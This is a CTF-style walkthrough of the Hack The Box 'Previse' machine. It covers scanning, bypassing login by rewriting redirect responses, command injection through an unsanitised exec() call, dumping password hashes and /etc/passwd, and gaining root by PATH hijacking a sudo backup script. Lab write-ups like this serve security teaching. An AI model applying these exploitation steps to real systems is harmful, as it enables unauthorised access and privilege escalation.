I. Foothold
It all began with a port scan:
# Nmap 7.92 scan initiated Mon Dec 6 22:10:41 2021 as: nmap -sC -sV -oN nmap.txt 10.10.11.104
Nmap scan report for 10.10.11.104
Host is up (0.64s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
| 256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_ 256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open http?
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-title: Previse Login
|_Requested resource was login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Dec 6 22:13:13 2021 -- 1 IP address (1 host up) scanned in 151.40 seconds
I also ran a quick RustScan
and set up a background nmap
full ports scan, but seems like those 2 are the only ports opening. Also, since their version seems up-to-date (at the time of writing), looks like there’s no better attack vector than the web application.
We’re greeted with this basic login form upon opening it in a web browser.
To be honest, the first time I got there, someone’d already pwned the system, and I easily managed to login using admin:admin
. Not until I’d got the box and getting round to write this writeup that I belatedly realized: hell, it should not have been that straight-forward. So it took me about half an hour more to figure out the proper way to log in.
Checking browser’s DevTool, we can clearly see that it just simply redirect us to login
page if we’re not logged in.
So I fired up Burp Suite, intercepted the responses, change status from 302 Redirect
to 200 OK
, and I got in.
Around this time, Gobuster returned with quite positive results:
┌──(kali㉿kali)-[~/ctf/htb/Previse]
└─$ gobuster dir -x php -u http://10.10.11.104 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.104
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2021/12/07 23:13:31 Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 302) [Size: 2801] [--> login.php]
/download.php (Status: 302) [Size: 0] [--> login.php]
/login.php (Status: 200) [Size: 2224]
/files.php (Status: 302) [Size: 4914] [--> login.php]
/header.php (Status: 200) [Size: 980]
/nav.php (Status: 200) [Size: 1248]
/footer.php (Status: 200) [Size: 217]
...
I manually checked all Status: 200
pages, and nav.php
looked really promising.
I reckoned that’s to render the navigation bar, along with header.php
and footer.php
.
Using the same Burp Suite technique, I got to Account
and create an account of myself (later I realized that I didn’t need to, and shouldn’t have done that, since it’ll leave traces in the database, and in real-world scenarios, getting caught like that is not good).
After logged in, we can download uploaded files of other users. And an user uploaded something that looks like the source code of this web app.
Before reading any further, you can try to grab the source code, and try to figure out the vulnerability by yourself!
…
Have you done that? What’s the vulnerability? How long did it take?
I reckon we all got the database credentials in config.php
pretty quick:
<?php
function connectDB(){
$host = 'localhost';
$user = 'root';
$passwd = 'mySQL_p@ssw0rd!:)';
$db = 'previse';
$mycon = new mysqli($host, $user, $passwd, $db);
return $mycon;
}
?>
However, it took me half an hour to stumble upon this line in logs.php
:
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
With no validation whatsover, there’s a great chance that it’s a command execution vulnerability via POST request.
And so, I got back to Burp Suite, intercepted the request, sent it to repeater, trial and error (I mean, a lot of attempts), and finally got a reverse shell back.
As expected, the reverse shell returned was owned by www-data
which didn’t provide much privilege. However, since we’d already had the MySQL database credentials, it’s not hard to get all the password hashes.
+----+------------+------------------------------------+
| id | username | password |
+----+------------+------------------------------------+
| 1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. |
| 2 | ouiouioui | $1$🧂llol$bwR0QWQ73nPRaUpx0r2la1 |
| 3 | cacapipi | $1$🧂llol$oQSn/sA4G3L1zmOigOBq6. |
| 4 | peter | $1$🧂llol$.nhVJJDzQaIk8znez4dDH/ |
| 5 | jappoo | $1$🧂llol$JeN.ad9Ib9Gi/B.zMvpEm/ |
| 6 | hacker | $1$🧂llol$MHiYle9peb0qOKtGJWZ9S0 |
| 7 | noobie | $1$🧂llol$QJyUxlZ0gphAKveVeBYGk. |
| 8 | fignupafya | $1$🧂llol$sP8qi2I.K6urjPuzdGizl1 |
| 9 | lmaolmao | $1$🧂llol$bT7q8rEMWewT0sa2T6FOx0 |
+----+------------+------------------------------------+
Also, take a look at /etc/passwd
, we have:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
m4lwhere:x:1000:1000:m4lwhere:/home/m4lwhere:/bin/bash
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
So our target should be m4lwhere
user.
At this point, let’s just run John the Ripper (which I personally prefer over Hashcat, since configuring hardware things for hashcat in a virtual environment is quite daunting), and we’d got m4lwhere
password.
II. Privilege Escalation
Logging in SSH with the credentials of m4lwhere
, we’d got the user flag. Now it’s time for vertical privilege escalation!
After some basic recons, this looks like the best shot we could have:
m4lwhere@previse:~$ sudo -l
[sudo] password for m4lwhere:
User m4lwhere may run the following commands on previse:
(root) /opt/scripts/access_backup.sh
So let’s go for it!
m4lwhere@previse:~$ cat /opt/scripts/access_backup.sh
#!/bin/bash
# We always make sure to store logs, we take security SERIOUSLY here
# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time
gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
Can you spot the vulnerability? Are we seeing eye to eye, or looking at different things? :D
I’ve to admit, at first, I digged deep into the date
hole. date
binary can provide file read access, so I struggled to change the system date to my payload, without-root-access. It was pure hell. After giving up on it, I took another look at access_backup.sh
and, god, why was I so blind about that relative gzip
? What about path injection?
At first, I tried to directly execute /bin/bash
through that injection, but it didn’t work. So I tried a a workaround.
I copied bash
to home, made a bash script that set SUID and change user of that binary, change PATH
to inject it, and got root. Here’s the script.
#!/usr/bin/bash
chown root:root bash
chmod +s bash
The whole process can be described as:
m4lwhere@previse:~$ cp /bin/bash ~
m4lwhere@previse:~$ mv script.sh ~/gzip
m4lwhere@previse:~$ export $PATH=/home/m4lwhere:$PATH
m4lwhere@previse:~$ sudo /opt/scripts/access_backup.sh
m4lwhere@previse:~$ bash -p
root@previse:/home/m4lwhere$
And that’s it. The root flag! Don’t forget to clean up your traces, for practicing purposes and for later players, everyone. :D